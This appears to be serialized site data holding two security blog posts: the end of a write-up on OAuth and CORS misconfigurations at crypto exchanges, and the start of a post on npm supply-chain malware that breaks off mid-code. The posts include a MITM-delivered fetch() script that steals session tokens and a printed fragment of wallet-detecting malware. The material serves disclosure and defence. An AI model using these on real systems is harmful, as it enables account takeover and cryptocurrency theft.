URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":26,"tag":217,"props":66043,"children":66044},{"class":7028,"line":8391},[66045],{"type":26,"tag":217,"props":66046,"children":66047},{"style":7338},[66048],{"type":32,"value":66049},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":26,"tag":217,"props":66051,"children":66052},{"class":7028,"line":8439},[66053],{"type":26,"tag":217,"props":66054,"children":66055},{"style":7338},[66056],{"type":32,"value":66057},"      google.accounts.id.initialize({\n",{"type":26,"tag":217,"props":66059,"children":66060},{"class":7028,"line":8448},[66061],{"type":26,"tag":217,"props":66062,"children":66063},{"style":7338},[66064],{"type":32,"value":66065},"        client_id: client_id,\n",{"type":26,"tag":217,"props":66067,"children":66068},{"class":7028,"line":8456},[66069],{"type":26,"tag":217,"props":66070,"children":66071},{"style":7338},[66072],{"type":32,"value":66073},"        callback: handleCredentialResponse,\n",{"type":26,"tag":217,"props":66075,"children":66076},{"class":7028,"line":8500},[66077],{"type":26,"tag":217,"props":66078,"children":66079},{"style":7338},[66080],{"type":32,"value":66081},"        auto_select: true\n",{"type":26,"tag":217,"props":66083,"children":66084},{"class":7028,"line":8535},[66085],{"type":26,"tag":217,"props":66086,"children":66087},{"style":7338},[66088],{"type":32,"value":66089},"      });\n",{"type":26,"tag":217,"props":66091,"children":66092},{"class":7028,"line":8664},[66093],{"type":26,"tag":217,"props":66094,"children":66095},{"emptyLinePlaceholder":17},[66096],{"type":32,"value":7817},{"type":26,"tag":217,"props":66098,"children":66099},{"class":7028,"line":8700},[66100],{"type":26,"tag":217,"props":66101,"children":66102},{"style":7338},[66103],{"type":32,"value":66104},"      google.accounts.id.renderButton(\n",{"type":26,"tag":217,"props":66106,"children":66107},{"class":7028,"line":8708},[66108],{"type":26,"tag":217,"props":66109,"children":66110},{"style":7338},[66111],{"type":32,"value":66112},"        document.getElementById(\"g_id_signin\"),\n",{"type":26,"tag":217,"props":66114,"children":66115},{"class":7028,"line":8716},[66116],{"type":26,"tag":217,"props":66117,"children":66118},{"style":7338},[66119],{"type":32,"value":66120},"        { theme: \"outline\", size: \"large\" }\n",{"type":26,"tag":217,"props":66122,"children":66123},{"class":7028,"line":8725},[66124],{"type":26,"tag":217,"props":66125,"children":66126},{"style":7338},[66127],{"type":32,"value":66128},"      );\n",{"type":26,"tag":217,"props":66130,"children":66131},{"class":7028,"line":8738},[66132],{"type":26,"tag":217,"props":66133,"children":66134},{"emptyLinePlaceholder":17},[66135],{"type":32,"value":7817},{"type":26,"tag":217,"props":66137,"children":66138},{"class":7028,"line":8755},[66139],{"type":26,"tag":217,"props":66140,"children":66141},{"style":7338},[66142],{"type":32,"value":66143},"      google.accounts.id.prompt();\n",{"type":26,"tag":217,"props":66145,"children":66146},{"class":7028,"line":8771},[66147],{"type":26,"tag":217,"props":66148,"children":66149},{"style":7338},[66150],{"type":32,"value":12298},{"type":26,"tag":217,"props":66152,"children":66153},{"class":7028,"line":13956},[66154,66159,66163,66168],{"type":26,"tag":217,"props":66155,"children":66156},{"style":7338},[66157],{"type":32,"value":66158},"                                    \"\"\"",{"type":26,"tag":217,"props":66160,"children":66161},{"style":7048},[66162],{"type":32,"value":180},{"type":26,"tag":217,"props":66164,"children":66165},{"style":7064},[66166],{"type":32,"value":66167},"trimIndent",{"type":26,"tag":217,"props":66169,"children":66170},{"style":7048},[66171],{"type":32,"value":64888},{"type":26,"tag":217,"props":66173,"children":66174},{"class":7028,"line":13964},[66175],{"type":26,"tag":217,"props":66176,"children":66177},{"style":7048},[66178],{"type":32,"value":66179},"                                }\n",{"type":26,"tag":217,"props":66181,"children":66182},{"class":7028,"line":14021},[66183],{"type":26,"tag":217,"props":66184,"children":66185},{"style":7048},[66186],{"type":32,"value":65384},{"type":26,"tag":217,"props":66188,"children":66189},{"class":7028,"line":14034},[66190],{"type":26,"tag":217,"props":66191,"children":66192},{"style":7048},[66193],{"type":32,"value":63178},{"type":26,"tag":217,"props":66195,"children":66196},{"class":7028,"line":14043},[66197,66201],{"type":26,"tag":217,"props":66198,"children":66199},{"style":7064},[66200],{"type":32,"value":65320},{"type":26,"tag":217,"props":66202,"children":66203},{"style":7048},[66204],{"type":32,"value":8064},{"type":26,"tag":217,"props":66206,"children":66207},{"class":7028,"line":14051},[66208,66212,66216,66220,66225],{"type":26,"tag":217,"props":66209,"children":66210},{"style":7064},[66211],{"type":32,"value":65332},{"type":26,"tag":217,"props":66213,"children":66214},{"style":7048},[66215],{"type":32,"value":65337},{"type":26,"tag":217,"props":66217,"children":66218},{"style":7149},[66219],{"type":32,"value":3540},{"type":26,"tag":217,"props":66221,"children":66222},{"style":7338},[66223],{"type":32,"value":66224},"\"Login here:\"",{"type":26,"tag":217,"props":66226,"children":66227},{"style":7048},[66228],{"type":32,"value":65351},{"type":26,"tag":217,"props":66230,"children":66231},{"class":7028,"line":14114},[66232,66237],{"type":26,"tag":217,"props":66233,"children":66234},{"style":7064},[66235],{"type":32,"value":66236},"                            div",{"type":26,"tag":217,"props":66238,"children":66239},{"style":7048},[66240],{"type":32,"value":8064},{"type":26,"tag":217,"props":66242,"children":66243},{"class":7028,"line":14127},[66244,66249,66253],{"type":26,"tag":217,"props":66245,"children":66246},{"style":7048},[66247],{"type":32,"value":66248},"                                id ",{"type":26,"tag":217,"props":66250,"children":66251},{"style":7149},[66252],{"type":32,"value":267},{"type":26,"tag":217,"props":66254,"children":66255},{"style":7338},[66256],{"type":32,"value":66257}," \"g_id_signin\"\n",{"type":26,"tag":217,"props":66259,"children":66260},{"class":7028,"line":34203},[66261],{"type":26,"tag":217,"props":66262,"children":66263},{"style":7048},[66264],{"type":32,"value":65384},{"type":26,"tag":217,"props":66266,"children":66267},{"class":7028,"line":34212},[66268],{"type":26,"tag":217,"props":66269,"children":66270},{"style":7048},[66271],{"type":32,"value":63178},{"type":26,"tag":217,"props":66273,"children":66274},{"class":7028,"line":34221},[66275],{"type":26,"tag":217,"props":66276,"children":66277},{"style":7048},[66278],{"type":32,"value":63186},{"type":26,"tag":217,"props":66280,"children":66281},{"class":7028,"line":34229},[66282],{"type":26,"tag":217,"props":66283,"children":66284},{"style":7048},[66285],{"type":32,"value":13407},{"type":26,"tag":217,"props":66287,"children":66288},{"class":7028,"line":34238},[66289],{"type":26,"tag":217,"props":66290,"children":66291},{"style":7048},[66292],{"type":32,"value":36205},{"type":26,"tag":217,"props":66294,"children":66295},{"class":7028,"line":34246},[66296,66300,66304,66308,66312,66316],{"type":26,"tag":217,"props":66297,"children":66298},{"style":7048},[66299],{"type":32,"value":65420},{"type":26,"tag":217,"props":66301,"children":66302},{"style":7064},[66303],{"type":32,"value":25299},{"type":26,"tag":217,"props":66305,"children":66306},{"style":7048},[66307],{"type":32,"value":65429},{"type":26,"tag":217,"props":66309,"children":66310},{"style":7149},[66311],{"type":32,"value":267},{"type":26,"tag":217,"props":66313,"children":66314},{"style":7154},[66315],{"type":32,"value":7902},{"type":26,"tag":217,"props":66317,"children":66318},{"style":7048},[66319],{"type":32,"value":10025},{"type":26,"tag":217,"props":66321,"children":66322},{"class":7028,"line":34254},[66323],{"type":26,"tag":217,"props":66324,"children":66325},{"style":7048},[66326],{"type":32,"value":9754},{"type":26,"tag":39,"props":66328,"children":66329},{},[66330],{"type":32,"value":66331},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":26,"tag":39,"props":66333,"children":66334},{},[66335],{"type":32,"value":66336},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":26,"tag":607,"props":66338,"children":66340},{"id":66339},"how-to-mitigate",[66341],{"type":32,"value":66342},"How to Mitigate",{"type":26,"tag":39,"props":66344,"children":66345},{},[66346],{"type":32,"value":66347},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":26,"tag":27,"props":66349,"children":66351},{"id":66350},"exploiting-cors",[66352],{"type":32,"value":66353},"Exploiting CORS",{"type":26,"tag":39,"props":66355,"children":66356},{},[66357],{"type":32,"value":66358},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":26,"tag":39,"props":66360,"children":66361},{},[66362,66364,66370],{"type":32,"value":66363},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":26,"tag":83,"props":66365,"children":66367},{"className":66366},[],[66368],{"type":32,"value":66369},"http://",{"type":32,"value":66371}," schema for any subdomain:",{"type":26,"tag":207,"props":66373,"children":66377},{"className":66374,"code":66375,"language":66376,"meta":8,"style":8},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[66378],{"type":26,"tag":83,"props":66379,"children":66380},{"__ignoreMap":8},[66381,66389,66397,66405],{"type":26,"tag":217,"props":66382,"children":66383},{"class":7028,"line":7029},[66384],{"type":26,"tag":217,"props":66385,"children":66386},{},[66387],{"type":32,"value":66388},"HTTP 200 OK\n",{"type":26,"tag":217,"props":66390,"children":66391},{"class":7028,"line":6770},[66392],{"type":26,"tag":217,"props":66393,"children":66394},{},[66395],{"type":32,"value":66396},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":26,"tag":217,"props":66398,"children":66399},{"class":7028,"line":6779},[66400],{"type":26,"tag":217,"props":66401,"children":66402},{},[66403],{"type":32,"value":66404},"Access-Control-Allow-Credentials: true\n",{"type":26,"tag":217,"props":66406,"children":66407},{"class":7028,"line":7140},[66408],{"type":26,"tag":217,"props":66409,"children":66410},{},[66411],{"type":32,"value":59466},{"type":26,"tag":607,"props":66413,"children":66415},{"id":66414},"cors-misconfiguration-by-lack-of-tls",[66416],{"type":32,"value":66417},"CORS Misconfiguration by Lack of TLS",{"type":26,"tag":39,"props":66419,"children":66420},{},[66421,66423,66429],{"type":32,"value":66422},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":26,"tag":83,"props":66424,"children":66426},{"className":66425},[],[66427],{"type":32,"value":66428},"exchange.com",{"type":32,"value":66430}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":26,"tag":39,"props":66432,"children":66433},{},[66434],{"type":32,"value":66435},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":26,"tag":2040,"props":66437,"children":66438},{},[66439,66459],{"type":26,"tag":2044,"props":66440,"children":66441},{},[66442,66444,66449,66451,66457],{"type":32,"value":66443},"Chrome --> won't work because cookies are not sent in ",{"type":26,"tag":83,"props":66445,"children":66447},{"className":66446},[],[66448],{"type":32,"value":66369},{"type":32,"value":66450}," --> ",{"type":26,"tag":83,"props":66452,"children":66454},{"className":66453},[],[66455],{"type":32,"value":66456},"https://",{"type":32,"value":66458}," requests, even if same-site",{"type":26,"tag":2044,"props":66460,"children":66461},{},[66462,66464],{"type":32,"value":66463},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":26,"tag":83,"props":66465,"children":66467},{"className":66466},[],[66468],{"type":32,"value":66469},"fetch()",{"type":26,"tag":607,"props":66471,"children":66473},{"id":66472},"exploit-1",[66474],{"type":32,"value":37053},{"type":26,"tag":39,"props":66476,"children":66477},{},[66478],{"type":32,"value":66479},"To exploit it, we must follow some steps:",{"type":26,"tag":6712,"props":66481,"children":66482},{},[66483,66488,66493],{"type":26,"tag":2044,"props":66484,"children":66485},{},[66486],{"type":32,"value":66487},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":26,"tag":2044,"props":66489,"children":66490},{},[66491],{"type":32,"value":66492},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":26,"tag":2044,"props":66494,"children":66495},{},[66496,66498,66503],{"type":32,"value":66497},"Use ",{"type":26,"tag":83,"props":66499,"children":66501},{"className":66500},[],[66502],{"type":32,"value":66469},{"type":32,"value":66504}," with CORS to do something malicious using the victim's account",{"type":26,"tag":39,"props":66506,"children":66507},{},[66508],{"type":32,"value":66509},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":26,"tag":39,"props":66511,"children":66512},{},[66513,66515,66520],{"type":32,"value":66514},"Once the redirect to the ",{"type":26,"tag":83,"props":66516,"children":66518},{"className":66517},[],[66519],{"type":32,"value":66369},{"type":32,"value":66521}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":26,"tag":207,"props":66523,"children":66525},{"className":24581,"code":66524,"language":24580,"meta":8,"style":8},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[66526],{"type":26,"tag":83,"props":66527,"children":66528},{"__ignoreMap":8},[66529,66552,66590,66607,66624,66632,66671],{"type":26,"tag":217,"props":66530,"children":66531},{"class":7028,"line":7029},[66532,66536,66540,66544,66548],{"type":26,"tag":217,"props":66533,"children":66534},{"style":7048},[66535],{"type":32,"value":1851},{"type":26,"tag":217,"props":66537,"children":66538},{"style":7154},[66539],{"type":32,"value":14091},{"type":26,"tag":217,"props":66541,"children":66542},{"style":7048},[66543],{"type":32,"value":26634},{"type":26,"tag":217,"props":66545,"children":66546},{"style":7154},[66547],{"type":32,"value":8059},{"type":26,"tag":217,"props":66549,"children":66550},{"style":7048},[66551],{"type":32,"value":8064},{"type":26,"tag":217,"props":66553,"children":66554},{"class":7028,"line":6770},[66555,66559,66564,66568,66572,66577,66581,66586],{"type":26,"tag":217,"props":66556,"children":66557},{"style":7154},[66558],{"type":32,"value":24787},{"type":26,"tag":217,"props":66560,"children":66561},{"style":7054},[66562],{"type":32,"value":66563}," res",{"type":26,"tag":217,"props":66565,"children":66566},{"style":7149},[66567],{"type":32,"value":8993},{"type":26,"tag":217,"props":66569,"children":66570},{"style":7042},[66571],{"type":32,"value":13803},{"type":26,"tag":217,"props":66573,"children":66574},{"style":7064},[66575],{"type":32,"value":66576}," fetch",{"type":26,"tag":217,"props":66578,"children":66579},{"style":7048},[66580],{"type":32,"value":1851},{"type":26,"tag":217,"props":66582,"children":66583},{"style":7338},[66584],{"type":32,"value":66585},"'https://www.exchange.com/api/session_token'",{"type":26,"tag":217,"props":66587,"children":66588},{"style":7048},[66589],{"type":32,"value":13386},{"type":26,"tag":217,"props":66591,"children":66592},{"class":7028,"line":6779},[66593,66598,66603],{"type":26,"tag":217,"props":66594,"children":66595},{"style":7054},[66596],{"type":32,"value":66597},"    credentials:",{"type":26,"tag":217,"props":66599,"children":66600},{"style":7338},[66601],{"type":32,"value":66602}," 'include'",{"type":26,"tag":217,"props":66604,"children":66605},{"style":7048},[66606],{"type":32,"value":10953},{"type":26,"tag":217,"props":66608,"children":66609},{"class":7028,"line":7140},[66610,66615,66620],{"type":26,"tag":217,"props":66611,"children":66612},{"style":7054},[66613],{"type":32,"value":66614},"    method:",{"type":26,"tag":217,"props":66616,"children":66617},{"style":7338},[66618],{"type":32,"value":66619}," 'POST'",{"type":26,"tag":217,"props":66621,"children":66622},{"style":7048},[66623],{"type":32,"value":10953},{"type":26,"tag":217,"props":66625,"children":66626},{"class":7028,"line":7165},[66627],{"type":26,"tag":217,"props":66628,"children":66629},{"style":7048},[66630],{"type":32,"value":66631},"  });\n",{"type":26,"tag":217,"props":66633,"children":66634},{"class":7028,"line":7178},[66635,66639,66643,66647,66651,66655,66659,66663,66667],{"type":26,"tag":217,"props":66636,"children":66637},{"style":7054},[66638],{"type":32,"value":25770},{"type":26,"tag":217,"props":66640,"children":66641},{"style":7048},[66642],{"type":32,"value":180},{"type":26,"tag":217,"props":66644,"children":66645},{"style":7064},[66646],{"type":32,"value":25779},{"type":26,"tag":217,"props":66648,"children":66649},{"style":7048},[66650],{"type":32,"value":1851},{"type":26,"tag":217,"props":66652,"children":66653},{"style":7042},[66654],{"type":32,"value":7864},{"type":26,"tag":217,"props":66656,"children":66657},{"style":7054},[66658],{"type":32,"value":66563},{"type":26,"tag":217,"props":66660,"children":66661},{"style":7048},[66662],{"type":32,"value":180},{"type":26,"tag":217,"props":66664,"children":66665},{"style":7064},[66666],{"type":32,"value":15848},{"type":26,"tag":217,"props":66668,"children":66669},{"style":7048},[66670],{"type":32,"value":8348},{"type":26,"tag":217,"props":66672,"children":66673},{"class":7028,"line":7389},[66674],{"type":26,"tag":217,"props":66675,"children":66676},{"style":7048},[66677],{"type":32,"value":28612},{"type":26,"tag":39,"props":66679,"children":66680},{},[66681],{"type":32,"value":66682},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":26,"tag":607,"props":66684,"children":66686},{"id":66685},"mitigation",[66687],{"type":32,"value":66688},"Mitigation",{"type":26,"tag":39,"props":66690,"children":66691},{},[66692,66694,66699],{"type":32,"value":66693},"As mitigation, it is recommended to remove all ",{"type":26,"tag":83,"props":66695,"children":66697},{"className":66696},[],[66698],{"type":32,"value":66369},{"type":32,"value":66700}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":26,"tag":39,"props":66702,"children":66703},{},[66704],{"type":32,"value":66705},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":26,"tag":27,"props":66707,"children":66708},{"id":9272},[66709],{"type":32,"value":9275},{"type":26,"tag":39,"props":66711,"children":66712},{},[66713],{"type":32,"value":66714},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":26,"tag":39,"props":66716,"children":66717},{},[66718],{"type":32,"value":66719},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":26,"tag":9282,"props":66721,"children":66722},{},[66723],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":66725},[66726,66731,66736],{"id":64347,"depth":6770,"text":64350,"children":66727},[66728,66729,66730],{"id":64358,"depth":6779,"text":64361},{"id":64718,"depth":6779,"text":64721},{"id":66339,"depth":6779,"text":66342},{"id":66350,"depth":6770,"text":66353,"children":66732},[66733,66734,66735],{"id":66414,"depth":6779,"text":66417},{"id":66472,"depth":6779,"text":37053},{"id":66685,"depth":6779,"text":66688},{"id":9272,"depth":6770,"text":9275},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":66741,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":66742,"description":66743,"date":66744,"author":6812,"image":66745,"isFeatured":17,"onBlogPage":17,"tags":66747,"body":66749,"_type":6799,"_id":69211,"_source":6801,"_file":69212,"_stem":69213,"_extension":6804},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":66746,"width":6816,"height":6817},"/posts/supply-chain-attcks/title.png",[24380,66748],"supply-chain",{"type":23,"children":66750,"toc":69194},[66751,66764,66769,66774,66780,66785,66793,67130,67138,67712,67720,68436,68442,68447,68453,68458,68463,68469,68474,68486,68491,68518,68605,68617,68642,68658,68663,68668,68878,68920,68925,68938,68944,68956,68998,69011,69091,69103,69116,69123,69135,69143,69149,69162,69167,69173,69178,69190],{"type":26,"tag":39,"props":66752,"children":66753},{},[66754,66756,66762],{"type":32,"value":66755},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":26,"tag":83,"props":66757,"children":66759},{"className":66758},[],[66760],{"type":32,"value":66761},"chalk",{"type":32,"value":66763},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":26,"tag":39,"props":66765,"children":66766},{},[66767],{"type":32,"value":66768},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":26,"tag":39,"props":66770,"children":66771},{},[66772],{"type":32,"value":66773},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":26,"tag":27,"props":66775,"children":66777},{"id":66776},"qix-malware-how-it-worked",[66778],{"type":32,"value":66779},"Qix Malware: How It Worked",{"type":26,"tag":39,"props":66781,"children":66782},{},[66783],{"type":32,"value":66784},"The attacker published modified versions of packages with code designed to do three things:",{"type":26,"tag":6712,"props":66786,"children":66787},{},[66788],{"type":26,"tag":2044,"props":66789,"children":66790},{},[66791],{"type":32,"value":66792},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":26,"tag":207,"props":66794,"children":66796},{"code":66795,"language":24580,"meta":8,"className":24581,"style":8},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[66797],{"type":26,"tag":83,"props":66798,"children":66799},{"__ignoreMap":8},[66800,66820,66832,66880,66897,66905,66942,66954,66983,67003,67023,67035,67042,67077,67097,67109,67116,67123],{"type":26,"tag":217,"props":66801,"children":66802},{"class":7028,"line":7029},[66803,66807,66811,66816],{"type":26,"tag":217,"props":66804,"children":66805},{"style":7154},[66806],{"type":32,"value":14091},{"type":26,"tag":217,"props":66808,"children":66809},{"style":7154},[66810],{"type":32,"value":7831},{"type":26,"tag":217,"props":66812,"children":66813},{"style":7064},[66814],{"type":32,"value":66815}," checkethereumw",{"type":26,"tag":217,"props":66817,"children":66818},{"style":7048},[66819],{"type":32,"value":7841},{"type":26,"tag":217,"props":66821,"children":66822},{"class":7028,"line":6770},[66823,66828],{"type":26,"tag":217,"props":66824,"children":66825},{"style":7042},[66826],{"type":32,"value":66827},"  try",{"type":26,"tag":217,"props":66829,"children":66830},{"style":7048},[66831],{"type":32,"value":8064},{"type":26,"tag":217,"props":66833,"children":66834},{"class":7028,"line":6779},[66835,66840,66845,66849,66853,66858,66862,66867,66871,66876],{"type":26,"tag":217,"props":66836,"children":66837},{"style":7154},[66838],{"type":32,"value":66839},"    const",{"type":26,"tag":217,"props":66841,"children":66842},{"style":7054},[66843],{"type":32,"value":66844}," _0x124ed3",{"type":26,"tag":217,"props":66846,"children":66847},{"style":7149},[66848],{"type":32,"value":8993},{"type":26,"tag":217,"props":66850,"children":66851},{"style":7042},[66852],{"type":32,"value":13803},{"type":26,"tag":217,"props":66854,"children":66855},{"style":7054},[66856],{"type":32,"value":66857}," window",{"type":26,"tag":217,"props":66859,"children":66860},{"style":7048},[66861],{"type":32,"value":180},{"type":26,"tag":217,"props":66863,"children":66864},{"style":7054},[66865],{"type":32,"value":66866},"ethereum",{"type":26,"tag":217,"props":66868,"children":66869},{"style":7048},[66870],{"type":32,"value":180},{"type":26,"tag":217,"props":66872,"children":66873},{"style":7064},[66874],{"type":32,"value":66875},"request",{"type":26,"tag":217,"props":66877,"children":66878},{"style":7048},[66879],{"type":32,"value":13500},{"type":26,"tag":217,"props":66881,"children":66882},{"class":7028,"line":7140},[66883,66888,66892],{"type":26,"tag":217,"props":66884,"children":66885},{"style":7338},[66886],{"type":32,"value":66887},"      'method'",{"type":26,"tag":217,"props":66889,"children":66890},{"style":7054},[66891],{"type":32,"value":1473},{"type":26,"tag":217,"props":66893,"children":66894},{"style":7338},[66895],{"type":32,"value":66896}," \"eth_accounts\"\n",{"type":26,"tag":217,"props":66898,"children":66899},{"class":7028,"line":7165},[66900],{"type":26,"tag":217,"props":66901,"children":66902},{"style":7048},[66903],{"type":32,"value":66904},"    });\n",{"type":26,"tag":217,"props":66906,"children":66907},{"class":7028,"line":7178},[66908,66912,66916,66921,66925,66929,66934,66938],{"type":26,"tag":217,"props":66909,"children":66910},{"style":7042},[66911],{"type":32,"value":9710},{"type":26,"tag":217,"props":66913,"children":66914},{"style":7048},[66915],{"type":32,"value":7051},{"type":26,"tag":217,"props":66917,"children":66918},{"style":7054},[66919],{"type":32,"value":66920},"_0x124ed3",{"type":26,"tag":217,"props":66922,"children":66923},{"style":7048},[66924],{"type":32,"value":180},{"type":26,"tag":217,"props":66926,"children":66927},{"style":7054},[66928],{"type":32,"value":33723},{"type":26,"tag":217,"props":66930,"children":66931},{"style":7149},[66932],{"type":32,"value":66933}," >",{"type":26,"tag":217,"props":66935,"children":66936},{"style":7130},[66937],{"type":32,"value":9922},{"type":26,"tag":217,"props":66939,"children":66940},{"style":7048},[66941],{"type":32,"value":7618},{"type":26,"tag":217,"props":66943,"children":66944},{"class":7028,"line":7389},[66945,66950],{"type":26,"tag":217,"props":66946,"children":66947},{"style":7064},[66948],{"type":32,"value":66949},"      runmask",{"type":26,"tag":217,"props":66951,"children":66952},{"style":7048},[66953],{"type":32,"value":8217},{"type":26,"tag":217,"props":66955,"children":66956},{"class":7028,"line":7406},[66957,66961,66965,66970,66975,66979],{"type":26,"tag":217,"props":66958,"children":66959},{"style":7042},[66960],{"type":32,"value":8953},{"type":26,"tag":217,"props":66962,"children":66963},{"style":7048},[66964],{"type":32,"value":7051},{"type":26,"tag":217,"props":66966,"children":66967},{"style":7054},[66968],{"type":32,"value":66969},"rund",{"type":26,"tag":217,"props":66971,"children":66972},{"style":7149},[66973],{"type":32,"value":66974}," !=",{"type":26,"tag":217,"props":66976,"children":66977},{"style":7130},[66978],{"type":32,"value":9742},{"type":26,"tag":217,"props":66980,"children":66981},{"style":7048},[66982],{"type":32,"value":7618},{"type":26,"tag":217,"props":66984,"children":66985},{"class":7028,"line":7439},[66986,66991,66995,66999],{"type":26,"tag":217,"props":66987,"children":66988},{"style":7054},[66989],{"type":32,"value":66990},"        rund",{"type":26,"tag":217,"props":66992,"children":66993},{"style":7149},[66994],{"type":32,"value":8993},{"type":26,"tag":217,"props":66996,"children":66997},{"style":7130},[66998],{"type":32,"value":9742},{"type":26,"tag":217,"props":67000,"children":67001},{"style":7048},[67002],{"type":32,"value":7162},{"type":26,"tag":217,"props":67004,"children":67005},{"class":7028,"line":7487},[67006,67011,67015,67019],{"type":26,"tag":217,"props":67007,"children":67008},{"style":7054},[67009],{"type":32,"value":67010},"        neth",{"type":26,"tag":217,"props":67012,"children":67013},{"style":7149},[67014],{"type":32,"value":8993},{"type":26,"tag":217,"props":67016,"children":67017},{"style":7130},[67018],{"type":32,"value":9742},{"type":26,"tag":217,"props":67020,"children":67021},{"style":7048},[67022],{"type":32,"value":7162},{"type":26,"tag":217,"props":67024,"children":67025},{"class":7028,"line":7524},[67026,67031],{"type":26,"tag":217,"props":67027,"children":67028},{"style":7064},[67029],{"type":32,"value":67030},"        newdlocal",{"type":26,"tag":217,"props":67032,"children":67033},{"style":7048},[67034],{"type":32,"value":8217},{"type":26,"tag":217,"props":67036,"children":67037},{"class":7028,"line":7553},[67038],{"type":26,"tag":217,"props":67039,"children":67040},{"style":7048},[67041],{"type":32,"value":9210},{"type":26,"tag":217,"props":67043,"children":67044},{"class":7028,"line":7570},[67045,67049,67053,67057,67061,67065,67069,67073],{"type":26,"tag":217,"props":67046,"children":67047},{"style":7048},[67048],{"type":32,"value":40847},{"type":26,"tag":217,"props":67050,"children":67051},{"style":7042},[67052],{"type":32,"value":40852},{"type":26,"tag":217,"props":67054,"children":67055},{"style":7042},[67056],{"type":32,"value":60711},{"type":26,"tag":217,"props":67058,"children":67059},{"style":7048},[67060],{"type":32,"value":7051},{"type":26,"tag":217,"props":67062,"children":67063},{"style":7054},[67064],{"type":32,"value":66969},{"type":26,"tag":217,"props":67066,"children":67067},{"style":7149},[67068],{"type":32,"value":66974},{"type":26,"tag":217,"props":67070,"children":67071},{"style":7130},[67072],{"type":32,"value":9742},{"type":26,"tag":217,"props":67074,"children":67075},{"style":7048},[67076],{"type":32,"value":7618},{"type":26,"tag":217,"props":67078,"children":67079},{"class":7028,"line":7621},[67080,67085,67089,67093],{"type":26,"tag":217,"props":67081,"